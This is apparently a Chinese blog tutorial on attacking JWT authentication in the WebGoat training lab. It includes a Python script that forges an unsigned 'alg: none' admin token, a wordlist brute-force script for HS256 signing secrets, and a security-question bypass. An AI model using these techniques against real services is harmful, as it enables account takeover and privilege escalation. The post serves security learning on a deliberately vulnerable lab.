文章目录

  • 前言
  • 一、介绍JWT
    • JWT令牌结构
    • 获取的令牌的基本过程
  • 二、攻击方式以及靶场的搭建
    • 1.安装cWebGoat
    • 2.空加密验证攻击
    • 3.字典爆破
  • 三、认证-键值逻辑

前言

本次主要学习了javaweb项目方面任意出现的一些安全问题,最主要的是有关于JWT身份认证上的攻击,并利用webgoat靶场进行了一些实验。


一、介绍JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt由三个部分组成:header.payload.signature

JWT令牌结构

令牌采用 base64-url 编码,由三部分组成。header.payload.signature 每一部分由.进行链接而成,如下所示:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

根据算法,签名将被添加到令牌中。这样,您可以验证某人没有修改令牌(对令牌的一次更改将使签名无效)。

具体的表单生成信息如下:

  • HEADER:固定包含算法和token类型,对此json进行base64url加密,这就是token的第一段。
{  "alg":"HS256",  "typ":"JWT"}
  • PAYLOAD:包含一些数据,对此json进行base64url加密,这就是token的第二段。
{    "exp": 1416471934,  "user_name": "user",  "scope": [    "read",    "write"  ],  "authorities": [    "ROLE_ADMIN",    "ROLE_USER"  ],  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",  "client_id": "my-client-with-secret"
}
  • SIGNATURE:把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。
加密密钥: secret
具体操作形式:
base64url(HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),your-256-bit-secret (秘钥加盐))
)

获取的令牌的基本过程

  1. 用户使用用户名和密码,并经过服务器验证成功后登录;
  2. 服务器创建一个新令牌
  3. 并将此令牌返回给客户端;
  4. 此后用户浏览器要携带token,去向服务端发送请求;
  5. 服务器读取令牌,并在成功验证后首先验证签名;
  6. 合法则返回对应的信息给用户。

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

相对地,如果采用cookie的方式,则服务器端/客户端是会保存一份对应的token值以供进行合法校验。

更多具体的内容请参考:https://jwt.io/

二、攻击方式以及靶场的搭建

1.安装cWebGoat

配置环境: Windows 10 + Java11 + webgoat-server-8.1.0.jar

注: 此处最好是使用java11及以上的环境,以避免出现java版本过低而无法运行的错误!!!

将下载好的jar包放在自己指定的目录下,然后打开cmd输入以下命令:

java -jar webgoat-server-8.1.0.jar --server.port=8000 --server.address=0.0.0.0

我这里是开启了指定的端口和开启远程访问,如果想直接使用默认设置(端口8080,只能本地访问)可以直接:

java -jar webgoat-server-8.1.0.jar

然后,在浏览器端输入:

http://127.0.0.1:8000/WebGoat/

即可,访问:

注,第一次使用的需要自己注册一个用户!!!

2.空加密验证攻击

JWT支持使用空加密算法,可以在header中指定alg为None

空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

打开对应的第四部分:

然后,我们点击对应的vote now,就会出现如下的弹窗,提示我们没有权限进行投票:

那么,我们这里先利用burp进行抓包看一下,发送了哪一些的数据:
我们点击切换tom用户登录:

进行抓包可以看到对应的token值:

然后,我们将该值拿去解析一下看看:解析网站

确实可以看出,这里采用了hs512算法进行加密验证,然后用户名是Tom。 那么,接下来我们尝试一下利用空加密进行绕过!!!

具体的exp代码如下:

# -*- coding:utf-8 -*-import jwt
import base64def b64urlencode(data):return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1573470025,"admin":"true","user":"Jerry"}')+b'.')

最后解密结果如下:

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.


然后,解析一下看看是否符合我们预期的要求:

看到这里,我们将admin对应的值更改为了true , 也就是说此时,我们设置了Jerry这个用户为admin。 然后由于还设置了alg为空密码,因此,可以绕过签名密钥未知的情况!!! 那么,我们把之前抓到的包放出去看看:


此时,再点击投票:

发现投票成功!!! 本关成功绕过!

3.字典爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)


先看一下这里的内容:

根据题目要求,这里我们需要爆破出密钥,然后再将用户名改为WebGoat。
那么我们先使用以下exp进行爆破密码:

import jwt
import termcolor
if __name__ == "__main__":jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'with open('top1000.txt') as f:for line in f:key_ = line.strip()try:jwt.decode(jwt_str, verify=True, key=key_)print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept jwt.exceptions.InvalidSignatureError:print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)continueelse:print('\r', '\bsorry! no key be found.')

然后,这里我们需要在那个网站中进行修改以下内容:

注! 但是这里还有个小问题需要注意一下!!! 就是本关还使用了时间戳进行验证。

这里的exp就是指时间戳的截至时间,因此,这里我们也需要进行更改一下:
时间戳

比如,当前我的时间是2022-12-11 21:30:00 , 那么为了稳妥起见,我这里将过期时间设置为2022-12-11 21:35:00

然后,填入exp:

此时,就可以通过本关卡了!

三、认证-键值逻辑


这里,主要是李克用了键值逻辑进行绕过验证!!!

在本关中,我们需要回答一些安全密钥的问题,然后后端通过我们回答的密钥是否符合数据库里存储的答案来进行验证,若验证成功则可以进行重置密码等待操作。 那么接下来我们先看一下源码:

这里可以看出来,一共有两个问题并且有相应的答案。 那么试想一下,如果我们查询secQuestion2, 则由于数据库里无secQuestion2的字段,那么当我们查询的时候则对应的secQuestion2的值就为none,或者其他的什么!!! 因此,我们可以尝试一下设置:
进行修改:

至此,修改成功!!!


渗透学习-靶场篇-WebGoat靶场(JWT攻击)相关推荐

  1. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  2. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

  3. 渗透学习-文件上传篇-基础知识部分(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.文件上传漏洞简要阐述 文件上传是什么? 为什么会产生文件上传漏洞?及其可能一哪些危害? ...

  4. [ 渗透入门篇 ] 从渗透测试执行标准着手的渗透学习大纲。掌握了这些知识点还担心找不到工作?

    想要学好渗透,就必须须知渗透测试流程标准. 这篇文章根据诸葛建伟翻译脑图来介绍渗透率流程执行标准. 以思维导图为主,后续会有每一个知识点的详细介绍. 学会了这些知识点,工作应该是妥妥的. 一.渗透测试 ...

  5. WebGoat靶场搭建及通关记录(一)

    文章目录 前言 一.搭建靶场 二.通关攻略 1.General HTTP Basics HTTP Proxies 2.Injection Flaws SQL Injection (advanced) ...

  6. Vulnhub靶场篇:SkyDogConCTF2016

    这是第二篇vunlnhub靶场相关的博客;SkyDog: 2016 – Catch Me If You Can 靶机渗透测试. 不建议学渗透的小伙伴去复现此篇,太费时.投入产出比并不高.个人认为有些靶 ...

  7. webgoat靶场通关记录

    webgoat靶场的所有的源码审计 以及详细解析 想要打靶场的可以看想要,学习java代码基础的也可以看看 github项目地址 https://github.com/wanan0red/webgoa ...

  8. 红队渗透靶场之W1R3S靶场(超详细!)

    W1R3S考察知识 nmap的基本使用 目录爆破工具的使用 CMS漏洞的利用 Linux用户的简单提权 W1R3S靶场搭建 W1R3S靶场下载地址: https://download.vulnhub. ...

  9. K8S云原生环境渗透学习

    转载至​​​​​​K8S云原生环境渗透学习 - 先知社区 K8S云原生环境渗透学习 前言 ​ Kubernetes,简称k8s,是当前主流的容器调度平台,被称为云原生时代的操作系统.在实际项目也经常发 ...

最新文章

  1. mvn项目中的pom文件提示Error parsing lifecycle processing instructions解决
  2. 【转载】locust性能测试3
  3. 异常 —— throws
  4. Android Wifi 启动过程,AndroidP wifi启动流程
  5. 用不好PPT模板的本质原因是什么,怎么办
  6. iphone8plus屏幕尺寸_性能领先安卓机 苹果iPhone 8 Plus热销
  7. Pokemon Go将在日本发布 网络安全公司呼吁防范虚假软件
  8. 多表关联的update语句
  9. MySQL免安装版 图文教程【5.7版本,纯净版win7安装】
  10. 小米wifi 苹果驱动安装教程macOS Mojave 10.14,Sierra 10.12测试通过
  11. scrapy数据清洗:
  12. oppoA37m rom固件刷机包下载 免费下载 解锁专用
  13. python label显示图片_Python3 tkinter基础 Label imag显示图片
  14. 小米4降级android版本,小米MIUI不再允许降级,小心手机变砖
  15. response.reset()
  16. plc服务器作用,工业控制系统以及PLC的简单介绍
  17. --scrapy爬虫--
  18. EasyX 如何使用 Win32 控件
  19. JAVA里面继承和接口
  20. SLAM总结(三)-传感器之各传感器特性

热门文章

  1. 一些专业术语的中英文对照
  2. 《数据结构与算法》实验:排序算法实验比较——选择排序 堆排序
  3. 出现413 Request Entity Too Large问题的解决方法
  4. Faster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks(理解)
  5. iMeta | 浙大蒋超组综述环境暴露组全景景观图
  6. 修改Github仓库中项目语言类型
  7. 01 - 汽车功能安全(ISO 26262)系列 - 开篇
  8. 906.nethogs安装使用
  9. 上传文件到gitee仓库的步骤
  10. 如何在IDEA中导入eclipse项目